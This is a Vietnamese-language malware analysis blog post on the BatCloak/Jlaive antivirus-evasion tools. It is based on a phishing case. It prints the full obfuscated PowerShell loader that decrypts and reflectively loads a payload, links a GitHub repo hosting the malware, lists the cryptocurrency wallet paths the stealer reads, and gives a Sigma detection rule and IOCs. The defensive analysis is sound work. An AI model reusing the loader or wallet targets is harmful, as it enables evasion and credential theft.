Post

Fully UnDetectable malware with BatCloak & Jlavie

Trong thời gian làm việc tại công ty, tôi gặp rất nhiều case người dùng tự tải mã độc về chạy. Nhưng có 1 case khá hay ho, mã độc bypass hết các giải pháp AV trên máy người dùng. Chỉ bị phát hiện bởi rule behavior. Tôi tổng hợp vài ý để awareness người dùng về mẫu mã độc này.

BatCloak engine

BatCloak là 1 engine được sử dụng để tạo ra các mã độc không thể bị phát hiện (Fully UnDetectable). Trendmicro đã tracking từ cuối 2022 và có 1 bài phân tích chi tiết vào tháng 6 năm 2023 ở link.

Bài viết này sẽ mô tả khái quát lại report của Trendmicro về Batcloak engine.

Back to MS-DOS

Windows cho phép thiết lập các biến cần thiết để thực thi command, thông qua CLI hoặc qua 1 file batch (.bat). Thậm chí, chúng ta có thể nối chuỗi concatenate lại với nhau như sau:

batcloak-ms-dos

1
2
3
4
5
6
7
C:\> set "var1=star"           -> var1 = "star"
C:\> set "var2=t "             -> var2 = "t "
C:\> set "var_tmp=secretnote"
C:\> set var3=%var_tmp:~-4%    -> var3 = "note"
C:\> set "var_tmp=padthai"
C:\> set var4=%var_tmp:~0,3%   -> var4 = "thai"
C:\> %var1%%var2%%var3%%var4%  -> start notepad

1 ví dụ từ report của Trendmicro:

batcloak-Trendmicro

Jlaive Batch Builder

Theo report của Trendmicro, Jlaive xuất hiện lần đầu vào tháng 8 năm 2022 với mô tả là "Convert your .exe to a .bat that bypasses ALL antivirus. Scantime and runtime. Enjoy!"

batcloak-jlavie-first-look

Vì là công cụ free & opensource, nhưng với tính năng vô cùng mạnh mẽ, có thể bypass gần như tuyệt đối Windows Defender (AMSI) trên Windows 10 và Windows 11, thậm chí là bypass cả các giải pháp AV sẵn có trên VirusTotal, Jlavie nhanh chóng được các nhóm hacktivist sử dụng để phát tán các loại mã độc khác nhau.

batcloak-jlavie-fud

Jlavie nhanh chóng bị takedown khỏi github, nhưng các biến thể của nó vẫn tiếp tục xuất hiện. Thậm chí có những biến thể được rao bán như một công cụ trả phí.

batcloak-jlavie-price

How it work?

Về cơ bản, Jlaive sẽ hoạt động như sau:

  • Nhận input là 1 file .exe và build nó thành 1 file .bat có thể FUD. (Đây chính là BatCloak - core engine mà Jlavie sử dụng. Ngoài ra, Jlavie có 1 số function khác như tạo batch loader, powershell loader, anti-debug, anti-VM,…)
  • File .bat khi thực thi sẽ khởi tạo tiến trình powershell để decrypt file C# & reflective loading (System.Reflection.Assembly::Load)
  • Tiếp tục decrypt payload và thực thi.

batcloak-jlavie-chain.png

batcloak-jlavie-chain-2.png

My real-life case

Inital Access - Phishing

Attacker store file malware trên github. Giả dạng file sách, trỏ link lừa người dùng download malware về máy (spear phishing link)

batcloak-download.png

  • Link repo chứa malware trên github https://github.com/rootsystem69/rootsystem
    • trong trường hợp repo bị gỡ: https://web.archive.org/web/20231124070219/https://github.com/rootsystem69/rootsystem

batcloak-github-link.png

Nội dung file book_A454-6054639983.zip như sau:

batcloak-zip-1st.png

File book A454-6054639983.zip bên trong là 1 file chứa password.

batcloak-zip-2nd.png

Bên trong chứa các file sau:

batcloak-inside-zip.png

batcloak-inside-zip-2.png

Execution - Batch file

Đây là 1 file được obfuscate bởi batcloak, có tên là bookpass.bat

batcloak-1st-look.png

batcloak-overview.png

Tổng cộng 727 dòng với 310647 kí tự.

batcloak-end-of-file.png

Vì obfuscate phức tạp nên việc deobfuscaste sẽ rất take time. Do đã hiểu cách hoạt động của dòng mã độc batcloak này nên tôi tiến hành monitor với Procmon. Thu được process tree như sau:

batcloak-proc-tree.png

bookpass.bat.exe bản chất chính là powershell, thực thi với commandline như sau:

batcloak-powershell.png

1
"bookpass.bat.exe"  -noprofile -windowstyle hidden -ep bypass -command $_CASH_heAou = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\rto\Desktop\bookpass\rootsystem-main\book_A454-6054639983\bookpass.bat').Split([Environment]::NewLine);foreach ($_CASH_Tnqps in $_CASH_heAou) { if ($_CASH_Tnqps.StartsWith(':: @')) {  $_CASH_zHYrw = $_CASH_Tnqps.Substring(4); break; }; };$_CASH_zHYrw = [System.Text.RegularExpressions.Regex]::Replace($_CASH_zHYrw, '_CASH_', '');$_CASH_BIQWU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_zHYrw);$_CASH_QwNiu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6tqrBmX1zrax2Cb4WHExxqLsc6tXDM9Ti3yfll2WSzw=');for ($i = 0; $i -le $_CASH_BIQWU.Length - 1; $i++) { $_CASH_BIQWU[$i] = ($_CASH_BIQWU[$i] -bxor $_CASH_QwNiu[$i % $_CASH_QwNiu.Length]); };$_CASH_jrqMN = New-Object System.IO.MemoryStream(, $_CASH_BIQWU);$_CASH_eDovn = New-Object System.IO.MemoryStream;$_CASH_gaysI = New-Object System.IO.Compression.GZipStream($_CASH_jrqMN, [IO.Compression.CompressionMode]::Decompress);$_CASH_gaysI.CopyTo($_CASH_eDovn);$_CASH_gaysI.Dispose();$_CASH_jrqMN.Dispose();$_CASH_eDovn.Dispose();$_CASH_BIQWU = $_CASH_eDovn.ToArray();$_CASH_gLEpe = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_BIQWU);$_CASH_PIBwy = $_CASH_gLEpe.EntryPoint;$_CASH_PIBwy.Invoke($null, (, [string[]] ('')))

Dựa vào report của TrendMicro, về Powershell Loader của Jlavie

batcloak-jlavie-raw.png

Có thể deobfuscate đoạn powershell command trên, được kết quả:

batcloak-jlavie-deobf.png

Tiến hành debug powershell để extract shellcode, thu được 1 file MS-DOS 16-bit

1
2
3
4
❯ file shellcode.dll
shellcode.dll: MS-DOS executable
❯ sha256sum shellcode.dll
f9c4aab5ae9735557ee2a33851921c7de1e476f805102b04a4134f3e075eacf1  shellcode.dll

batcloak-jlavie-shellcode.png

Tại thời điểm viết bài, không có hash của file trên VirusTotal. Khả năng phân tích malware MS-DOS 16bit của tôi ~0. Nên thử submit lên Virustotal thấy FUD với kết quả 0/63 MDFK :D

batcloak-jlavie-VR-fud.png

Stealer - Wallet

Check procmon thấy malware query đến các local storage db của các Ví wallet như Guarda, ExodusWallet, … nhằm steal thông tin đăng nhập

batcloak-jlavie-procmon.png

  • Guarda Credentials:
    • C:\Users\<user>\AppData\Roaming\Guarda\Local Storage\leveldb
  • Jaxx Credentials:
    • C:\Users\<user>\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb
  • ExodusWallet Credentials:
    • C:\Users\<user>\AppData\Roaming\Exodus\exodus.wallet
  • Coinomi Credentials:
    • C:\Users\<user>\AppData\Roaming\Coinomi\Coinomi\wallets

Ngoài ra không có hành vi bất thường khác, có thể kết luận đây là dòng malware stealer, có vẻ khá giống với report sau: https://0xm3h51n.medium.com/malware-analysis-4-eternity-project-eternity-stealer-682df3f0dafd

Rule detection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    - ParentImage|endswith: '\cmd.exe'
    - ParentCommandLine|endswith: '.bat'
  selection_proc:
    - Image|endswith: '.bat.exe'
    - Description|contains: 'PowerShell'
    - CommandLine|contains|all:
      - 'gnirtS46esaBmorF'
      - 'txeTllAdaeR'
      - '[System.Reflection.Assembly]::'
      - 'daoL'
      - '.Invoke('
  condition: all of selection_*
falsepositives:
    - Unknown
level: critical

Summary

  • Bài report của TrendMicro rất chi tiết & có chất lượng cao
  • Jlavie, BatCloak và gần đây là ScrubCrypt đang được attacker tận dụng triệt để để phát tán các mẫu mã độc như Stealer, RAT, …
  • Vì FUD nên attacker hoàn toàn có thể tận dụng để bypass các giải pháp bảo mật của tổ chức. Cần nhanh chóng update các bộ rule để ngăn chặn việc thực thi Jlavie, BatCloak cũng như ScrubCrypt
  • Bài này không tập trung vào phân tích malware (mn thích có thể download trên link git/virustotal để phân tích), thay vào đó là note nhanh về batcloak & jlavie engine, cách detect malware được tạo bởi engine này

IOCs

1
2
bookpass.bat - 38085AD40D5F9A645B37ED21F8A032698D6630518F1AC2A875C88CFD920327AC
shellcode.dll - f9c4aab5ae9735557ee2a33851921c7de1e476f805102b04a4134f3e075eacf1

Resources:

HyperlinkInfo
https://www.trendmicro.com/en_us/research/23/f/analyzing-the-fud-malware-obfuscation-engine-batcloak.htmlAnalyzing the FUD Malware Obfuscation Engine BatCloak
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/f/analyzing-the-fud-malware-obfuscation-engine-batcloak/tb-the-dark-evolution-advanced-malicious-actors-unveil-malware-modification-progression.pdfThe Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression
https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool/Using Jlaive to create batch files from .NET assemblies for defense evasion
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.ymlSigma rule: Jlaive Usage For Assembly Execution In-Memory
This post is licensed under CC BY 4.0 by the author.